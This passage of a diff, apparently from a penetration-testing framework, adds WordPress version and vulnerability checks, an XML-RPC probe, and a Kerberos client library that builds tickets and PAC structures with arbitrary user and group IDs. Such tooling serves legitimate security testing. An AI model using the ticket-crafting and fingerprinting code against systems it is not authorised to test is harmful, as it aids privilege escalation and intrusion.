return version if version # detect version from rss - version = wordpress_version_helper(wordpress_url_rss, /<generator>http:\/\/wordpress.org\/\?v=#{wordpress_version_pattern}<\/generator>/i) + version = wordpress_version_helper(wordpress_url_rss, /<generator>http:\/\/wordpress.org\/\?v=#{WORDPRESS_VERSION_PATTERN}<\/generator>/i) return version if version # detect version from rdf - version = wordpress_version_helper(wordpress_url_rdf, /<admin:generatorAgent rdf:resource="http:\/\/wordpress.org\/\?v=#{wordpress_version_pattern}" \/>/i) + version = wordpress_version_helper(wordpress_url_rdf, /<admin:generatorAgent rdf:resource="http:\/\/wordpress.org\/\?v=#{WORDPRESS_VERSION_PATTERN}" \/>/i) return version if version # detect version from atom - version = wordpress_version_helper(wordpress_url_atom, /<generator uri="http:\/\/wordpress.org\/" version="#{wordpress_version_pattern}">WordPress<\/generator>/i) + version = wordpress_version_helper(wordpress_url_atom, /<generator uri="http:\/\/wordpress.org\/" version="#{WORDPRESS_VERSION_PATTERN}">WordPress<\/generator>/i) return version if version # detect version from sitemap - version = wordpress_version_helper(wordpress_url_sitemap, /generator="wordpress\/#{wordpress_version_pattern}"/i) + version = wordpress_version_helper(wordpress_url_sitemap, /generator="wordpress\/#{WORDPRESS_VERSION_PATTERN}"/i) return version if version # detect version from opml - version = wordpress_version_helper(wordpress_url_opml, /generator="wordpress\/#{wordpress_version_pattern}"/i) + version = wordpress_version_helper(wordpress_url_opml, /generator="wordpress\/#{WORDPRESS_VERSION_PATTERN}"/i) return version if version nil end - private - - # Used to check if the version is correct: must contain at least one dot. + # Checks a readme for a vulnerable version # - # @return [ String ] - def wordpress_version_pattern - '([^\r\n"\']+\.[^\r\n"\']+)' + # @param [String] plugin_name The name of the plugin + # @param [String] fixed_version The version the vulnerability was fixed in + # @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced + # + # @return [ Msf::Exploit::CheckCode ] + def check_plugin_version_from_readme(plugin_name, fixed_version, vuln_introduced_version = nil) + check_version_from_readme(:plugin, plugin_name, fixed_version, vuln_introduced_version) end + # Checks a readme for a vulnerable version + # + # @param [String] theme_name The name of the theme + # @param [String] fixed_version The version the vulnerability was fixed in + # @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced + # + # @return [ Msf::Exploit::CheckCode ] + def check_theme_version_from_readme(theme_name, fixed_version, vuln_introduced_version = nil) + check_version_from_readme(:theme, theme_name, fixed_version, vuln_introduced_version) + end + + private + def wordpress_version_helper(url, regex) - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => url - }) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => url + ) if res match = res.body.match(regex) - if match - return match[1] - end + return match[1] if match end nil end + def check_version_from_readme(type, name, fixed_version, vuln_introduced_version = nil) + case type + when :plugin + folder = 'plugins' + when :theme + folder = 'themes' + else + fail("Unknown readme type #{type}") + end + + readme_url = normalize_uri(target_uri.path, wp_content_dir, folder, name, 'readme.txt') + res = send_request_cgi( + 'uri' => readme_url, + 'method' => 'GET' + ) + # no readme.txt present + return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200 + + # try to extract version from readme + # Example line: + # Stable tag: 2.6.6 + version = res.body.to_s[/(?:stable tag|version):\s*(?!trunk)([0-9a-z.-]+)/i, 1] + + # readme present, but no version number + return Msf::Exploit::CheckCode::Detected if version.nil? + + vprint_status("#{peer} - Found version #{version} of the #{type}") + + # Version older than fixed version + if Gem::Version.new(version) < Gem::Version.new(fixed_version) + if vuln_introduced_version.nil? + # All versions are vulnerable + return Msf::Exploit::CheckCode::Appears + # vuln_introduced_version provided, check if version is newer + elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version) + return Msf::Exploit::CheckCode::Appears + else + # Not in range, nut vulnerable + return Msf::Exploit::CheckCode::Safe + end + # version newer than fixed version + else + return Msf::Exploit::CheckCode::Safe + end + end end diff --git a/lib/msf/http/wordpress/xml_rpc.rb b/lib/msf/http/wordpress/xml_rpc.rb new file mode 100644 index 0000000000..34a20048c1 --- /dev/null +++ b/lib/msf/http/wordpress/xml_rpc.rb @@ -0,0 +1,40 @@ +# -*- coding: binary -*- + +module Msf::HTTP::Wordpress::XmlRpc + + # Determines if the XMLRPC interface is enabled by sending a demo.sayHello request + # + # @return [Boolean] true if the interface is enabled + def wordpress_xmlrpc_enabled? + xml = wordpress_generate_xml_rpc_body('demo.sayHello') + + res = send_request_cgi( + 'uri' => wordpress_url_xmlrpc, + 'method' => 'POST', + 'ctype' => 'text/xml;charset=UTF-8', + 'data' => xml + ) + + return true if res && res.body && res.body.to_s =~ /<string>Hello!<\/string>/ + return false + end + + # Generates the xml post body for a XMLRPC call + # + # @param method_name [String] The XMLRPC method to call + # @param params [String] The XMLRPC method params + # @return [String] xml string + def wordpress_generate_xml_rpc_body(method_name, *params) + xml = "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>" + xml << "<methodCall>" + xml << "<methodName>#{method_name}</methodName>" + xml << "<params>" + params.each do |p| + xml << "<param><value><string>#{p}</string></value></param>" + end + xml << "</params>" + xml << "</methodCall>" + return xml + end + +end diff --git a/lib/msf/kerberos/client.rb b/lib/msf/kerberos/client.rb new file mode 100644 index 0000000000..fe6ba1a0e7 --- /dev/null +++ b/lib/msf/kerberos/client.rb @@ -0,0 +1,139 @@ +# -*- coding: binary -*- +require 'rex/proto/kerberos' + +module Msf + module Kerberos + module Client + require 'msf/kerberos/client/base' + require 'msf/kerberos/client/as_request' + require 'msf/kerberos/client/as_response' + require 'msf/kerberos/client/tgs_request' + require 'msf/kerberos/client/tgs_response' + require 'msf/kerberos/client/pac' + require 'msf/kerberos/client/cache_credential' + + include Msf::Kerberos::Client::Base + include Msf::Kerberos::Client::AsRequest + include Msf::Kerberos::Client::AsResponse + include Msf::Kerberos::Client::TgsRequest + include Msf::Kerberos::Client::TgsResponse + include Msf::Kerberos::Client::Pac + include Msf::Kerberos::Client::CacheCredential + + # @!attribute client + # @return [Rex::Proto::Kerberos::Client] The kerberos client + attr_accessor :client + + def initialize(info = {}) + super + + register_options( + [ + Opt::RHOST, + Opt::RPORT(88), + OptInt.new('Timeout', [true, 'The TCP timeout to establish connection and read data', 10]) + ], self.class + ) + end + + # Returns the target host + # + # @return [String] + def rhost + datastore['RHOST'] + end + + # Returns the remote port + # + # @return [Fixnum] + def rport + datastore['RPORT'] + end + + # Returns the TCP timeout + # + # @return [Fixnum] + def timeout + datastore['Timeout'] + end + + # Returns the kdc peer + # + # @return [String] + def peer + "#{rhost}:#{rport}" + end + + # Creates a kerberos connection + # + # @param opts [Hash{Symbol => <String, Fixnum>}] + # @option opts [String] :rhost + # @option opts [<String, Fixnum>] :rport + # @return [Rex::Proto::Kerberos::Client] + def connect(opts={}) + kerb_client = Rex::Proto::Kerberos::Client.new( + host: opts[:rhost] || rhost, + port: (opts[:rport] || rport).to_i, + timeout: (opts[:timeout] || timeout).to_i, + context: + { + 'Msf' => framework, + 'MsfExploit' => self, + }, + protocol: 'tcp' + ) + + disconnect if client + self.client = kerb_client + + kerb_client + end + + # Disconnects the Kerberos client + # + # @param kerb_client [Rex::Proto::Kerberos::Client] the client to disconnect + def disconnect(kerb_client = client) + kerb_client.close if kerb_client + + if kerb_client == client + self.client = nil + end + end + + # Performs cleanup as necessary, disconnecting the Kerberos client + # if it's still established. + def cleanup + super + disconnect + end + + # Sends a kerberos AS request and reads the response + # + # @param opts [Hash] + # @return [Rex::Proto::Kerberos::Model::KdcResponse] + # @see Msf::Kerberos::Client::AsRequest#build_as_request + # @see Rex::Proto::Kerberos::Model::KdcResponse + def send_request_as(opts = {}) + connect(opts) + req = build_as_request(opts) + res = client.send_recv(req) + disconnect + res + end + + # Sends a kerberos AS request and reads the response + # + # @param opts [Hash] + # @return [Rex::Proto::Kerberos::Model::KdcResponse] + # @see Msf::Kerberos::Client::TgsRequest#build_tgs_request + # @see Rex::Proto::Kerberos::Model::KdcResponse + def send_request_tgs(opts = {}) + connect(opts) + req = build_tgs_request(opts) + res = client.send_recv(req) + disconnect + res + end + end + end +end diff --git a/lib/msf/kerberos/client/as_request.rb b/lib/msf/kerberos/client/as_request.rb new file mode 100644 index 0000000000..dd4b673b63 --- /dev/null +++ b/lib/msf/kerberos/client/as_request.rb @@ -0,0 +1,111 @@ +# -*- coding: binary -*- +require 'rex/proto/kerberos' + +module Msf + module Kerberos + module Client + module AsRequest + + # Builds a kerberos AS request + # + # @param opts [Hash{Symbol => <Array<Rex::Proto::Kerberos::Model::PreAuthData>, Rex::Proto::Kerberos::Model::KdcRequestBody>}] + # @option opts [Array<Rex::Proto::Kerberos::Model::PreAuthData>] :pa_data + # @option opts [Rex::Proto::Kerberos::Model::KdcRequestBody] :body + # @return [Rex::Proto::Kerberos::Model::KdcRequest] + # @see [Rex::Proto::Kerberos::Model::KdcRequest] + # @see #build_as_pa_time_stamp + # @see #build_as_request_body + def build_as_request(opts = {}) + pa_data = opts[:pa_data] || build_as_pa_time_stamp(opts) + body = opts[:body] || build_as_request_body(opts) + + request = Rex::Proto::Kerberos::Model::KdcRequest.new( + pvno: 5, + msg_type: Rex::Proto::Kerberos::Model::AS_REQ, + pa_data: pa_data, + req_body: body + ) + + request + end + + # Builds a kerberos PA-ENC-TIMESTAMP pre authenticated structure + # + # @param opts [Hash{Symbol => <Time, Fixnum, String>}] + # @option opts [Time] :time_stamp + # @option opts [Fixnum] :pausec + # @option opts [Fixnum] :etype + # @option opts [String] :key + # @return [Rex::Proto::Kerberos::Model::PreAuthData] + # @see Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp + # @see Rex::Proto::Kerberos::Model::EncryptedData + # @see Rex::Proto::Kerberos::Model::PreAuthData + def build_as_pa_time_stamp(opts = {}) + time_stamp = opts[:time_stamp] || Time.now + pausec = opts[:pausec] || 0 + etype = opts[:etype] || Rex::Proto::Kerberos::Crypto::RC4_HMAC + key = opts[:key] || '' + + pa_time_stamp = Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp.new( + pa_time_stamp: time_stamp, + pausec: pausec + ) + + enc_time_stamp = Rex::Proto::Kerberos::Model::EncryptedData.new( + etype: etype, + cipher: pa_time_stamp.encrypt(etype, key) + ) + + pa_enc_time_stamp = Rex::Proto::Kerberos::Model::PreAuthData.new( + type: Rex::Proto::Kerberos::Model::PA_ENC_TIMESTAMP, + value: enc_time_stamp.encode + ) + + pa_enc_time_stamp + end + + # Builds a kerberos AS request body + # + # @param opts [Hash{Symbol => <Fixnum, Time, String, Rex::Proto::Kerberos::Model::PrincipalName>}] + # @option opts [Fixnum] :options + # @option opts [Time] :from + # @option opts [Time] :till + # @option opts [Time] :rtime + # @option opts [Fixnum] :nonce + # @option opts [Fixnum] :etype + # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname + # @option opts [String] :realm + # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :sname + # @return [Rex::Proto::Kerberos::Model::KdcRequestBody] + # @see #build_client_name + # @see #build_server_name + # @see Rex::Proto::Kerberos::Model::KdcRequestBody + def build_as_request_body(opts = {}) + options = opts[:options] || 0x50800000 # Forwardable, Proxiable, Renewable + from = opts[:from] || Time.utc('1970-01-01-01 00:00:00') + till = opts[:till] || Time.utc('1970-01-01-01 00:00:00') + rtime = opts[:rtime] || Time.utc('1970-01-01-01 00:00:00') + nonce = opts[:nonce] || Rex::Text.rand_text_numeric(6).to_i + etype = opts[:etype] || [Rex::Proto::Kerberos::Crypto::RC4_HMAC] + cname = opts[:cname] || build_client_name(opts) + realm = opts[:realm] || '' + sname = opts[:sname] || build_server_name(opts) + + body = Rex::Proto::Kerberos::Model::KdcRequestBody.new( + options: options, + cname: cname, + realm: realm, + sname: sname, + from: from, + till: till, + rtime: rtime, + nonce: nonce, + etype: etype + ) + + body + end + end + end + end +end diff --git a/lib/msf/kerberos/client/as_response.rb b/lib/msf/kerberos/client/as_response.rb new file mode 100644 index 0000000000..0a629d36d2 --- /dev/null +++ b/lib/msf/kerberos/client/as_response.rb @@ -0,0 +1,46 @@ +# -*- coding: binary -*- +require 'rex/proto/kerberos' + +module Msf + module Kerberos + module Client + module AsResponse + + # Extracts the session key from a Kerberos AS Response + # + # @param res [Rex::Proto::Kerberos::Model::KdcResponse] + # @param key [String] + # @return [Rex::Proto::Kerberos::Model::EncryptionKey] + # @see Rex::Proto::Kerberos::Model::KdcResponse + # @see Rex::Proto::Kerberos::Model::EncryptedData.decrypt + # @see Rex::Proto::Kerberos::Model::EncKdcResponse + # @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode + # @see Rex::Proto::Kerberos::Model::EncryptionKey + def extract_session_key(res, key) + decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_AS_RESPONSE) + enc_kdc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res) + + enc_kdc_res.key + end + + # Extracts the logon time from a Kerberos AS Response + # + # @param res [Rex::Proto::Kerberos::Model::KdcResponse] + # @param key [String] + # @return [Fixnum] + # @see Rex::Proto::Kerberos::Model::KdcResponse + # @see Rex::Proto::Kerberos::Model::EncryptedData.decrypt + # @see Rex::Proto::Kerberos::Model::EncKdcResponse + # @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode + def extract_logon_time(res, key) + decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_AS_RESPONSE) + enc_kdc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res) + + auth_time = enc_kdc_res.auth_time + + auth_time.to_i + end + end + end + end +end diff --git a/lib/msf/kerberos/client/base.rb b/lib/msf/kerberos/client/base.rb new file mode 100644 index 0000000000..a9a1085140 --- /dev/null +++ b/lib/msf/kerberos/client/base.rb @@ -0,0 +1,44 @@ +# -*- coding: binary -*- + +module Msf + module Kerberos + module Client + module Base + + # Builds a kerberos Client Name Principal + # + # @param opts [Hash{Symbol => <String, Fixnum>}] + # @option opts [String] :client_name the client's name + # @option opts [Fixnum] :client_type the client's name type + # @return [Rex::Proto::Kerberos::Model::PrincipalName] + # @see Rex::Proto::Kerberos::Model::PrincipalName + def build_client_name(opts = {}) + name = opts[:client_name] || '' + name_type = opts[:client_type] || Rex::Proto::Kerberos::Model::NT_PRINCIPAL + + Rex::Proto::Kerberos::Model::PrincipalName.new( + name_type: name_type, + name_string: name.split('/') + ) + end + + # Builds a kerberos Server Name Principal + # + # @param opts [Hash{Symbol => <String, Fixnum>}] + # @option opts [String] :server_name the server's name + # @option opts [Fixnum] :server_type the server's name type + # @return [Rex::Proto::Kerberos::Model::PrincipalName] + # @see Rex::Proto::Kerberos::Model::PrincipalName + def build_server_name(opts = {}) + name = opts[:server_name] || '' + name_type = opts[:server_type] || Rex::Proto::Kerberos::Model::NT_PRINCIPAL + + Rex::Proto::Kerberos::Model::PrincipalName.new( + name_type: name_type, + name_string: name.split('/') + ) + end + end + end + end +end diff --git a/lib/msf/kerberos/client/cache_credential.rb b/lib/msf/kerberos/client/cache_credential.rb new file mode 100644 index 0000000000..5553970708 --- /dev/null +++ b/lib/msf/kerberos/client/cache_credential.rb @@ -0,0 +1,148 @@ +# -*- coding: binary -*- +require 'rex/proto/kerberos' + +module Msf + module Kerberos + module Client + module CacheCredential + + # Builds a MIT Credential Cache + # + # @param opts [Hash{Symbol => <Fixnum, Array<String>, Rex::Proto::Kerberos::CredentialCache::Principal, Array<Rex::Proto::Kerberos::CredentialCache::Credential>>}] + # @option opts [Fixnum] :version + # @option opts [Array<String>] :headers + # @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] :primary_principal + # @option opts [Array<Rex::Proto::Kerberos::CredentialCache::Credential>] :credentials + # @return [Rex::Proto::Kerberos::CredentialCache::Cache] + # @see Rex::Proto::Kerberos::CredentialCache::Cache + def create_cache(opts = {}) + version = opts[:version] || Rex::Proto::Kerberos::CredentialCache::VERSION + headers = opts[:headers] || [Rex::Proto::Kerberos::CredentialCache::HEADER] + primary_principal = opts[:primary_principal] || create_cache_principal(opts) + credentials = opts[:credentials] || [create_cache_credential(opts)] + + cache = Rex::Proto::Kerberos::CredentialCache::Cache.new( + version: version, + headers: headers, + primary_principal: primary_principal, + credentials: credentials + ) + + cache + end + + # Builds a MIT Credential Cache principal + # + # @param opts [Hash<{Symbol => <Fixnum, String, Array<String>}>] + # @option opts [Fixnum] :name_type + # @option opts [String] :realm + # @option opts [Array<String>] :components + # @return [Rex::Proto::Kerberos::CredentialCache::Principal] + # @see Rex::Proto::Kerberos::CredentialCache::Principal + def create_cache_principal(opts = {}) + name_type = opts[:name_type] || 0 + realm = opts[:realm] || '' + components = opts[:components] || [''] + + principal = Rex::Proto::Kerberos::CredentialCache::Principal.new( + name_type: name_type, + realm: realm, + components:components + ) + + principal + end + + # Builds a MIT Credential Cache key block + # + # @param opts [Hash<{Symbol => <Fixnum, String>}>] + # @option opts [Fixnum] :key_type + # @option opts [Fixnum] :e_type + # @option opts [String] :key_value + # @return [Rex::Proto::Kerberos::CredentialCache::KeyBlock] + # @see Rex::Proto::Kerberos::CredentialCache::KeyBlock + def create_cache_key_block(opts = {}) + key_type = opts[:key_type] || Rex::Proto::Kerberos::Crypto::RC4_HMAC + e_type = opts[:e_type] || 0 + key_value = opts[:key_value] || '' + + key_block = Rex::Proto::Kerberos::CredentialCache::KeyBlock.new( + key_type: key_type, + e_type: e_type, + key_value: key_value + ) + + key_block + end + + # Builds a times structure linked to a credential in a MIT Credential Cache + # + # @param opts [Hash<{Symbol => Fixnum}>] + # @option opts [Fixnum] auth_time + # @option opts [Fixnum] start_time + # @option opts [Fixnum] end_time + # @option opts [Fixnum] renew_till + # @return [Rex::Proto::Kerberos::CredentialCache::Time] + # @see Rex::Proto::Kerberos::CredentialCache::Time + def create_cache_times(opts = {}) + auth_time = opts[:auth_time] || 0 + start_time = opts[:start_time] || 0 + end_time = opts[:end_time] || 0 + renew_till = opts[:renew_till] || 0 + + time = Rex::Proto::Kerberos::CredentialCache::Time.new( + auth_time: auth_time.to_i, + start_time: start_time.to_i, + end_time: end_time.to_i, + renew_till: renew_till.to_i + ) + + time + end + + # Builds a MIT Credential Cache credential + # + # @param opts [Hash<{Symbol => <>}>] + # @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] client + # @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] server + # @option opts [Rex::Proto::Kerberos::CredentialCache::KeyBlock] key + # @option opts [Rex::Proto::Kerberos::CredentialCache::Time] time + # @option opts [Fixnum] is_key + # @option opts [Fixnum] flags + # @option opts [Array] addrs + # @option opts [Array] auth_data + # @option opts [String] ticket + # @option opts [String] second_ticket + # @return [Rex::Proto::Kerberos::CredentialCache::Credential] + # @see Rex::Proto::Kerberos::CredentialCache::Credential + def create_cache_credential(opts = {}) + client = opts[:client] || create_cache_principal(opts) + server = opts[:server] || create_cache_principal(opts) + key = opts[:key] || create_cache_key_block(opts) + time = opts[:time] || create_cache_times(opts) + is_skey = opts[:is_skey] || 0 + tkt_flags = opts[:flags] || 0 + addrs = opts[:addrs] || [] + auth_data = opts[:auth_data] || [] + ticket = opts[:ticket] || '' + second_ticket = opts[:second_ticket] || '' + + cred = Rex::Proto::Kerberos::CredentialCache::Credential.new( + client: client, + server: server, + key: key, + time: time, + is_skey: is_skey, + tkt_flags:tkt_flags, + addrs: addrs, + auth_data: auth_data, + ticket: ticket, + second_ticket: second_ticket + ) + + cred + end + end + end + end +end diff --git a/lib/msf/kerberos/client/pac.rb b/lib/msf/kerberos/client/pac.rb new file mode 100644 index 0000000000..bf6e05328b --- /dev/null +++ b/lib/msf/kerberos/client/pac.rb @@ -0,0 +1,111 @@ +# -*- coding: binary -*- +require 'rex/proto/kerberos' + +module Msf + module Kerberos + module Client + module Pac + + # Builds a kerberos PA-PAC-REQUEST pre authenticated structure + # + # @param opts [Hash{Symbol => Boolean}] + # @option opts [Boolean] :pac_request_value + # @return [Rex::Proto::Kerberos::Model::Field::PreAuthData] + # @see Rex::Proto::Kerberos::Model::PreAuthPacRequest + # @see Rex::Proto::Kerberos::Model::PreAuthData + def build_pa_pac_request(opts = {}) + value = opts[:pac_request_value] || false + pac_request = Rex::Proto::Kerberos::Model::PreAuthPacRequest.new(value: value) + pa_pac_request = Rex::Proto::Kerberos::Model::PreAuthData.new( + type: Rex::Proto::Kerberos::Model::PA_PAC_REQUEST, + value: pac_request.encode + ) + + pa_pac_request + end + + # Builds a kerberos PACTYPE structure + # + # @param opts [Hash{Symbol => <String, Fixnum, Array, Time>}] + # @option opts [String] :client_name + # @option opts [Fixnum] :user_id the user SID Ex: 1000 + # @option opts [Fixnum] :group_id Ex: 513 for 'Domain Users' + # @option opts [Array<Fixnum>] :group_ids + # @option opts [String] :realm + # @option opts [String] :domain_id the domain SID Ex: S-1-5-21-1755879683-3641577184-3486455962 + # @option opts [Time] :logon_time + # @return [Rex::Proto::Kerberos::Pac::Type] + # @see Rex::Proto::Kerberos::Pac::LogonInfo + # @see Rex::Proto::Kerberos::Pac::ClientInfo + # @see Rex::Proto::Kerberos::Pac::ServerChecksum + # @see Rex::Proto::Kerberos::Pac::PrivSvrChecksum + # @see Rex::Proto::Kerberos::Pac::Type + def build_pac(opts = {}) + user_name = opts[:client_name] || '' + user_id = opts[:user_id] || Rex::Proto::Kerberos::Pac::DEFAULT_USER_SID + primary_group_id = opts[:group_id] || Rex::Proto::Kerberos::Pac::DOMAIN_USERS + group_ids = opts[:group_ids] || [Rex::Proto::Kerberos::Pac::DOMAIN_USERS] + domain_name = opts[:realm] || '' + domain_id = opts[:domain_id] || Rex::Proto::Kerberos::Pac::NT_AUTHORITY_SID + logon_time = opts[:logon_time] || Time.now + checksum_type = opts[:checksum_type] || Rex::Proto::Kerberos::Crypto::RSA_MD5 + + logon_info = Rex::Proto::Kerberos::Pac::LogonInfo.new( + logon_time: logon_time, + effective_name: user_name, + user_id: user_id, + primary_group_id: primary_group_id, + group_ids: group_ids, + logon_domain_name: domain_name, + logon_domain_id: domain_id, + ) + + client_info = Rex::Proto::Kerberos::Pac::ClientInfo.new( + client_id: logon_time, + name: user_name + ) + + server_checksum = Rex::Proto::Kerberos::Pac::ServerChecksum.new( + checksum: checksum_type + ) + + priv_srv_checksum = Rex::Proto::Kerberos::Pac::PrivSvrChecksum.new( + checksum: checksum_type + ) + + pac_type = Rex::Proto::Kerberos::Pac::Type.new( + buffers: [ + logon_info, + client_info, + server_checksum, + priv_srv_checksum + ], + checksum: checksum_type + ) + + pac_type + end + + # Builds an kerberos AuthorizationData structure containing a PACTYPE + # + # @param opts [Hash{Symbol => Rex::Proto::Kerberos::Pac::Type}] + # @option opts [Rex::Proto::Kerberos::Pac::Type] :pac + # @return [Rex::Proto::Kerberos::Model::AuthorizationData] + # @see Rex::Proto::Kerberos::Model::AuthorizationData + def build_pac_authorization_data(opts = {}) + pac = opts[:pac] || build_pac(opts) + + pac_auth_data = Rex::Proto::Kerberos::Model::AuthorizationData.new( + elements: [{:type => Rex::Proto::Kerberos::Pac::AD_WIN2K_PAC, :data => pac.encode}] + ) + authorization_data = Rex::Proto::Kerberos::Model::AuthorizationData.new( + elements: [{:type => Rex::Proto::Kerberos::Model::AD_IF_RELEVANT, :data => pac_auth_data.encode}] + ) + + authorization_data + end + + end + end + end +end diff --git a/lib/msf/kerberos/client/tgs_request.rb b/lib/msf/kerberos/client/tgs_request.rb new file mode 100644 index 0000000000..deb336f051 --- /dev/null +++ b/lib/msf/kerberos/client/tgs_request.rb @@ -0,0 +1,273 @@ +# -*- coding: binary -*- +require 'rex/proto/kerberos' + +module Msf + module Kerberos + module Client + module TgsRequest + + # Builds the encrypted Kerberos TGS request + # + # @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::Element>}] + # @option opts [Rex::Proto::Kerberos::Model::AuthorizationData] :auth_data + # @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :enc_auth_data + # @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey + # @option opts [Rex::Proto::Kerberos::Model::Checksum] :checksum + # @option opts [Rex::Proto::Kerberos::Model::Authenticator] :auhtenticator + # @option opts [Array<Rex::Proto::Kerberos::Model::PreAuthData>] :pa_data + # @return [Rex::Proto::Kerberos::Model::KdcRequest] + # @raise [RuntimeError] if ticket isn't available + # @see Rex::Proto::Kerberos::Model::AuthorizationData + # @see Rex::Proto::Kerberos::Model::EncryptedData + # @see Rex::Proto::Kerberos::Model::EncryptionKey + # @see Rex::Proto::Kerberos::Model::Checksum + # @see Rex::Proto::Kerberos::Model::Authenticator + # @see Rex::Proto::Kerberos::Model::PreAuthData + # @see Rex::Proto::Kerberos::Model::KdcRequest + def build_tgs_request(opts = {}) + subkey = opts[:subkey] || build_subkey(opts) + + if opts[:enc_auth_data] + enc_auth_data = opts[:enc_auth_data] + elsif opts[:auth_data] + enc_auth_data = build_enc_auth_data( + auth_data: opts[:auth_data], + subkey: subkey + ) + else + enc_auth_data = nil + end + + body = build_tgs_request_body(opts.merge( + enc_auth_data: enc_auth_data + )) + + checksum = opts[:checksum] || build_tgs_body_checksum(:body => body) + + if opts[:auhtenticator] + authenticator = opts[:authenticator] + else + authenticator = build_authenticator(opts.merge( + subkey: subkey, + checksum: checksum + )) + end + + if opts[:ap_req] + ap_req = opts[:ap_req] + else + ap_req = build_ap_req(opts.merge(:authenticator => authenticator)) + end + + pa_ap_req = Rex::Proto::Kerberos::Model::PreAuthData.new( + type: Rex::Proto::Kerberos::Model::PA_TGS_REQ, + value: ap_req.encode + ) + + pa_data = [] + pa_data.push(pa_ap_req) + if opts[:pa_data] + opts[:pa_data].each { |pa| pa_data.push(pa) } + end + + request = Rex::Proto::Kerberos::Model::KdcRequest.new( + pvno: 5, + msg_type: Rex::Proto::Kerberos::Model::TGS_REQ, + pa_data: pa_data, + req_body: body + ) + + request + end + + # Builds the encrypted TGS authorization data + # + # @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::AuthorizationData, Rex::Proto::Kerberos::Model::EncryptionKey>}] + # @option opts [Rex::Proto::Kerberos::Model::AuthorizationData] :auth_data + # @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey + # @return [Rex::Proto::Kerberos::Model::EncryptedData] + # @raise [RuntimeError] if auth_data option isn't provided + # @see Rex::Proto::Kerberos::Model::AuthorizationData + # @see Rex::Proto::Kerberos::Model::EncryptionKey + # @see Rex::Proto::Kerberos::Model::EncryptedData + def build_enc_auth_data(opts = {}) + auth_data = opts[:auth_data] + + if auth_data.nil? + raise ::RuntimeError, 'auth_data option required on #build_enc_auth_data' + end + + subkey = opts[:subkey] || build_subkey(opts) + + encrypted = auth_data.encrypt(subkey.type, subkey.value) + + e_data = Rex::Proto::Kerberos::Model::EncryptedData.new( + etype: subkey.type, + cipher: encrypted + ) + + e_data + end + + # Builds a KRB_AP_REQ message + # + # @param opts [Hash{Symbol => <Fixnum, Rex::Proto::Kerberos::Model::Ticket, Rex::Proto::Kerberos::Model::EncryptedData, Rex::Proto::Kerberos::Model::EncryptionKey>}] + # @option opts [Fixnum] :pvno + # @option opts [Fixnum] :msg_type + # @option opts [Fixnum] :ap_req_options + # @option opts [Rex::Proto::Kerberos::Model::Ticket] :ticket + # @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :authenticator + # @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :session_key + # @return [Rex::Proto::Kerberos::Model::EncryptionKey] + # @raise [RuntimeError] if ticket option isn't provided + # @see Rex::Proto::Kerberos::Model::Ticket + # @see Rex::Proto::Kerberos::Model::EncryptedData + # @see Rex::Proto::Kerberos::Model::EncryptionKey + def build_ap_req(opts = {}) + pvno = opts[:pvno] || Rex::Proto::Kerberos::Model::VERSION + msg_type = opts[:msg_type] || Rex::Proto::Kerberos::Model::AP_REQ + options = opts[:ap_req_options] || 0 + ticket = opts[:ticket] + authenticator = opts[:authenticator] || build_authenticator(opts) + session_key = opts[:session_key] || build_subkey(opts) + + if ticket.nil? + raise ::RuntimeError, 'Building a AP-REQ without ticket not supported' + end + + enc_authenticator = Rex::Proto::Kerberos::Model::EncryptedData.new( + etype: session_key.type, + cipher: authenticator.encrypt(session_key.type, session_key.value) + ) + + ap_req = Rex::Proto::Kerberos::Model::ApReq.new( + pvno: pvno, + msg_type: msg_type, + options: options, + ticket: ticket, + authenticator: enc_authenticator + ) + + ap_req + end + + # Builds a kerberos authenticator for a TGS request + # + # @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::PrincipalName, String, Time, Rex::Proto::Kerberos::Model::EncryptionKey>}] + # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname + # @option opts [String] :realm + # @option opts [Time] :ctime + # @option opts [Fixnum] :cusec + # @option opts [Rex::Proto::Kerberos::Model::Checksum] :checksum + # @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey + # @return [Rex::Proto::Kerberos::Model::Authenticator] + # @see Rex::Proto::Kerberos::Model::PrincipalName + # @see Rex::Proto::Kerberos::Model::Checksum + # @see Rex::Proto::Kerberos::Model::EncryptionKey + # @see Rex::Proto::Kerberos::Model::Authenticator + def build_authenticator(opts = {}) + cname = opts[:cname] || build_client_name(opts) + realm = opts[:realm] || '' + ctime = opts[:ctime] || Time.now + cusec = opts[:cusec] || ctime.usec + checksum = opts[:checksum] || build_tgs_body_checksum(opts) + subkey = opts[:subkey] || build_subkey(opts) + + authenticator = Rex::Proto::Kerberos::Model::Authenticator.new( + vno: 5, + crealm: realm, + cname: cname, + checksum: checksum, + cusec: cusec, + ctime: ctime, + subkey: subkey + ) + + authenticator + end + + # Builds an encryption key to protect the data sent in the TGS request. + # + # @param opts [Hash{Symbol => <Fixnum, String>}] + # @option opts [Fixnum] :subkey_type + # @option opts [String] :subkey_value + # @return [Rex::Proto::Kerberos::Model::EncryptionKey] 